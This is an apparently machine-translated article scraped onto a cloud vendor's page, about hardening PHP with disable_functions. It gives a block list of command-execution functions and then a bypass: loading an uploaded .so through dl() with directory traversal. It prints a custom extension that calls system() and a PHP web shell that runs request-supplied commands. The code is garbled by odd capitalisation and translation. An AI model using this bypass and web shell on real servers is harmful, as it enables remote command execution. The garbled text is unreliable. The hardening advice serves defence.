PHP.ini Enable Disable_functions Improve security _ server other

Source: Internet
Author: User
Q. I run a small Apache based webserver for me personal use and it are shared with friends and family. However, most script kiddie try to exploit PHP application such as WordPress using exec (), PassThru (), Shell_exec (), Sy Stem () etc functions. How do I disable this functions to improve me PHP script security?
A. PHP has a lot of functions which can be used to crack your server if not used properly. You can set the list of functions in php.ini using disable_functions directive. This directive allows your to disable certain functions for security reasons. It takes on a comma-delimited list of function names. Disable_functions is isn't affected by Safe Mode. This directive must is set in the php.ini for example and you cannot the set this in httpd.conf.
Open php.ini File:
# Vi/etc/php.ini
Find disable_functions and set new list as follows:
Find disable_functions and replace it with the following

Copy Code code as follows:

Disable_functions =phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_ File,show_source

Save and close the file. Restart httpd:
Copy Code code as follows:

# Service httpd Restart

Note that the Disable_functions directive can is used outside of the php.ini file which means that you cannot disable Functions on a per-virtualhost or per-directory basis in your httpd.conf file. If we add this to our php.ini file:

Set method in IIS, in C:\windows\php.ini

Outside of the star setting:

Copy Code code as follows:

Disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,gzinflate,set_time_limit

Suggestions to add phpinfo, etc., you can refer to the above settings, in the use of the process may appear in PHP does not support the phenomenon of some features, and then we can search the error prompts, remove the corresponding function can be.
Support the more the more unsafe, for the acquisition program needs to remove curl_exec, we have more testing can be.

a more complete version is provided below

Copy Code code as follows:

Disable_functions =phpinfo,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,curl_exec,multi_exec,chmod , Gzinflate,set_time_limit,


After setting in IIS, enter Iisreset/restart in the run.


Note The following breakthrough method: recommended to open Safe Mode
PHP is a powerful application of a wide range of scripting language, a large number of sites are using PHP architecture. Because it provides powerful file manipulation capabilities and the ability to interact with the system, most servers have strict restrictions on PHP, including using Open_basedir to restrict the directories that can be manipulated and using Disable_ Functions restricts programs to use functions such as System,exec,passthru,shell_exec,proc_open, which can execute system commands directly. However, if the server does not limit the DL () function, you can use the DL () function to bypass these limitations.
The DL () function allows you to dynamically load PHP modules in PHP scripts by loading the extensions in the Extension_dir directory by default, which is Php_ini_system range modifiable and can only be modified in php.ini or Apache master configuration files. Of course, you can also turn off dynamic loading with the ENABLE_DL option, which defaults to on, and in fact few people notice. The DL () function has a security vulnerability at design time and can be used with ... /This directory traversal way specifies that extensions of so and so should be loaded in any one directory, and the Extension_dir restrictions can be arbitrarily spared. So we can upload our own so file and use the DL function to load the so file and use the functions in the so file to do other things, including system commands.
Php_function (DL)
{
PVal **file;
#ifdef ZTS
if ((STRNCMP (Sapi_module.name, "CGI", 3)!=0) &&
(strcmp (Sapi_module.name, "CLI")!=0) &&
(STRNCMP (Sapi_module.name, "embed", 5)!=0)) {
Php_error_docref (NULL tsrmls_cc, e_warning, "not supported in multithreaded WEB servers-use extension the statements in your PHP.ini ");
Return_false;
//Verify that DL functions can be used and are prohibited in a multithreaded Web server
#endif
/* Obtain arguments * *
if (Zend_num_args ()!= 1 | | | ZEND_GET_PARAMETERS_EX (1, &file) = = failure) {
Wrong_param_count;
}
CONVERT_TO_STRING_EX (file); Get parameters
if (! PG (ENABLE_DL)) {
Php_error_docref (NULL tsrmls_cc, e_warning, "dynamically loaded extentions ' t enabled");/verify aren, default to On
else if (PG (Safe_mode)) {
Php_error_docref (NULL tsrmls_cc, e_warning, "dynamically loaded extensions aren ' t allowed when running in Safe Mode");/verify Whether Safe_mode Open
} else {
PHP_DL (*file, module_temporary, Return_value tsrmls_cc); Start Call loading
EG (Full_tables_cleanup) = 1;
}
The following is the loading of the START process module
void Php_dl (pval *file, int type, pval *return_value tsrmls_dc)
{
void *handle;
Char *libpath;
Zend_module_entry *module_entry, *tmp;
Zend_module_entry * (*get_module) (void);
int error_type;
Char *extension_dir; Define some variables
if (type==module_persistent) {
/* Use the configuration hash directly, the INI mechanism are not yet initialized * *
if (cfg_get_string ("Extension_dir", &extension_dir) ==failure) {
Extension_dir = Php_extension_dir;
}
} else {
Extension_dir = PG (Extension_dir);
//Get php.ini set in the Extension_dir directory
if (type==module_temporary) {
Error_type = e_warning;
} else {
Error_type = e_core_warning;
}
if (Extension_dir && extension_dir[0]) {
int extension_dir_len = strlen (Extension_dir);
Libpath = Emalloc (extension_dir_len+z_strlen_p (file) +2);
if (Is_slash (extension_dir[extension_dir_len-1])) {
sprintf (Libpath, "%s%s", Extension_dir, z_strval_p (file)); * SAFE * *
} else {
sprintf (Libpath, "%s%c%s", Extension_dir, Default_slash, z_strval_p (file)); * SAFE * *
The location of the final so file, which is simply attached, does not perform any checks on the incoming parameters, including Open_basedir, etc.
} else {
Libpath = Estrndup (z_strval_p (file), z_strlen_p (file));
}
/* Load Dynamic symbol */
Handle = Dl_load (LIBPATH); began to really call the
See, we can call arbitrary so oh! The next step is to write your own so module and call him. According to the official module writing method, I wrote a very simple, main export function Loveshell as follows:
Php_function (Loveshell)
{
Char *command;
int Command_len;
if (Zend_num_args ()!= 1 | | | zend_parse_parameters (Zend_num_args () tsrmls_cc, "s", &command, &command_len) = = Failure) {
Wrong_param_count;
}
System (command);
zend_printf ("I recieve%s", command);
}
Note Because the structure of PHP4 and PHP5 is not the same, so if you want to be able to call the extension smoothly, then in the PHP4 environment will be the above code into the PHP4 environment to compile, PHP5 will be compiled in the PHP5 environment. We upload the written extensions to the server, and we can execute the command using the following code:
<?php
DL ('../../../../../../../../../www/users/www.cnbct.org/loveshell.so ');
$cmd =$_request[c]. " 2>&1>tmp.txt ";
Loveshell ($cmd);
echo "<br>";
echo file_get_contents (' tmp.txt ');
?>
So if you want to keep the server safe, add this function to disable_functions or open safe mode, in Safe mode the DL function is unconditionally forbidden! :)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.